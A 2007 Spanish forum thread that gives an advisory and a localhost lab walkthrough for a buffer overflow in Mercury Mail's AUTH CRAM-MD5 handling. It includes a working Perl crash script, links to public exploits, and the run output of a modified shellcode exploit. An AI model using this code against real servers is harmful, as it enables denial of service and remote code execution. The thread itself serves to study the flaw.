elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 09:54  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mercury MTS: Desbordamiento del búfer en AUTH CRAM-MD5 [Explotación]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Mercury MTS: Desbordamiento del búfer en AUTH CRAM-MD5 [Explotación]  (Leído 1,991 veces)
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Mercury MTS: Desbordamiento del búfer en AUTH CRAM-MD5 [Explotación]
« en: 28 Agosto 2007, 00:26 »

Citar

   Mercury Mail Transport System: Desbordamiento del búfer en AUTH CRAM-MD5
   
     [Descripción]

        Mercury Mail Transport System es un servidor de correos electrónicos que se distribuye gratuitamente,
        siendo funcional bajo dos plataformas diferentes; Windows y Novell NetWare.
      
        Este servidor de correo es vulnerable, en su versión 4.51 y 4.01b para Windows,
        causando el desbordamiento del búfer al no limitar adecuadamente las peticiones AUTH CRAM-MD5.
        Como resultado final, un atacante podría ejecutar código arbitrario con los privilegios
        del usuario de la máquina afectada.
       
     [Versiones vulnerables]
        - Pegasus Mail Mercury Mail Transport System 4.51
        - Pegasus Mail Mercury Mail Transport System 4.01b   

     [Solución]
        - http://ftp://ftp.usm.maine.edu/pegasus/mercury32/ms-401c.zip
      
     [Enlaces]

        - Página Web del fabricante: http://www.pmail.com
        - Análisis técnico: http://pstgroup.blogspot.com/2007/08/tipsmercury-smtpd-auth-cram-md5-pre.html
        - Prueba del concepto: http://downloads.securityfocus.com/vulnerabilities/exploits/mercury-cram-md5-poc.pl
        - Exploit I: http://downloads.securityfocus.com/vulnerabilities/exploits/25357.c
        - Exploit II: http://downloads.securityfocus.com/vulnerabilities/exploits/25357-2.c

« Última modificación: 31 Agosto 2007, 01:11 por yeikos » En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Explotación del desbordamiento del búfer en AUTH CRAM-MD5
« Respuesta #1 en: 28 Agosto 2007, 00:30 »

                  Explotación del desbordamiento del búfer en AUTH CRAM-MD5

Para llevar a cabo esta explotación es necesario descargar Mercury/32 Mail Transporter System en su versión 4.51, la cuál es propensa a la vulnerabilidad descrita anteriormente.

Código:
ftp://ftp.usm.maine.edu/pegasus/mercury32/m32-451.exe

En todo momento y a lo largo de esta instalación, se mantendrán los valores que vienen asignados por defecto bajo el sistema operativo Microsoft Windows.

Cita de: Instalación
1. Setup
2. New Installation
3. No NetWare Support
4. OK, accept this directory (C:\MERCURY)
5. No Pegasus Mail integration
6. OK, accept this directory (C:\MERCURY\MAIL)
7. OK, continue installation (MercuryS - SMTP Server Module)
8. Install no SMTP client
9. OK, continue installation
10. Normal
11. OK, continue installation (C:\MERCURY\QUEUE)
12. Install Mercury/32
13. Done
14. Exit

Una vez instalado iniciamos el servidor ejecutando el archivo mercury.exe que se encontrará, por defecto, en C:\MERCURY\.

Código:
C:\MERCURY\mercury.exe

Al ejecutarlo, se abrirá una ventana que a su vez contendrá dos pequeñas ventanas. Nosotros nos centraremos en la que aparece en primer plano y tiene como título Mercury SMTP Server. En esta ventana se mostrarán las conexiones actuales y los comandos introducidos por el usuario.

Para comprobar que el servidor se encuentra operativo, nos conectaremos al puerto 25 localmente mediante cualquier herramienta tipo telnet o netcat:

Código:
C:\>nc 127.0.0.1 25
220  ESMTP server ready.

En caso de no recibir una respuesta es por que algún intermediario bloquea la conexión y/o por que estamos estableciendo la conexión remotamente.

Teniendo ya el servidor de correo operativo, podremos realizar una pequeña prueba con el siguiente código, el cuál generará una petición AUTH CRAM-MD5 de 10.000 caracteres, causando el cierre inesperado del servidor de correo Mercury.

Código
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => '25', Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}

Pasando a algo más peligroso y preocupante, empezaremos a trabajar con el siguiente exploit, que es una pequeña modificación del Exploit I, al que se hizo referencia anteriormente. Las modificaciones han sido realizadas por mí, para que el código pueda ser compilado correctamente con Dev-C++ v4.9.9.2, y su shellcode ha sido cambiada por una, generada por metasploit, que ejecuta el archivo calc.exe (calculadora de Windows).

Código:
http://www.streamupload.com/download.aspx?fileID=2007827174920

Código:
C:\>mercury-exploit 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org   2007-08-22
== code by Zhenhan.Liu

[*] connect to 127.0.0.1:25 ... OK!
[C] EHLO void#ph4nt0m.org
[S] 220  ESMTP server ready.
[S] 250- Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDExNTcwODM3LjM0NkA+
[C] Send Payload...
[-] Done! cmdshell@1154?
« Última modificación: 28 Agosto 2007, 02:44 por yeikos » En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines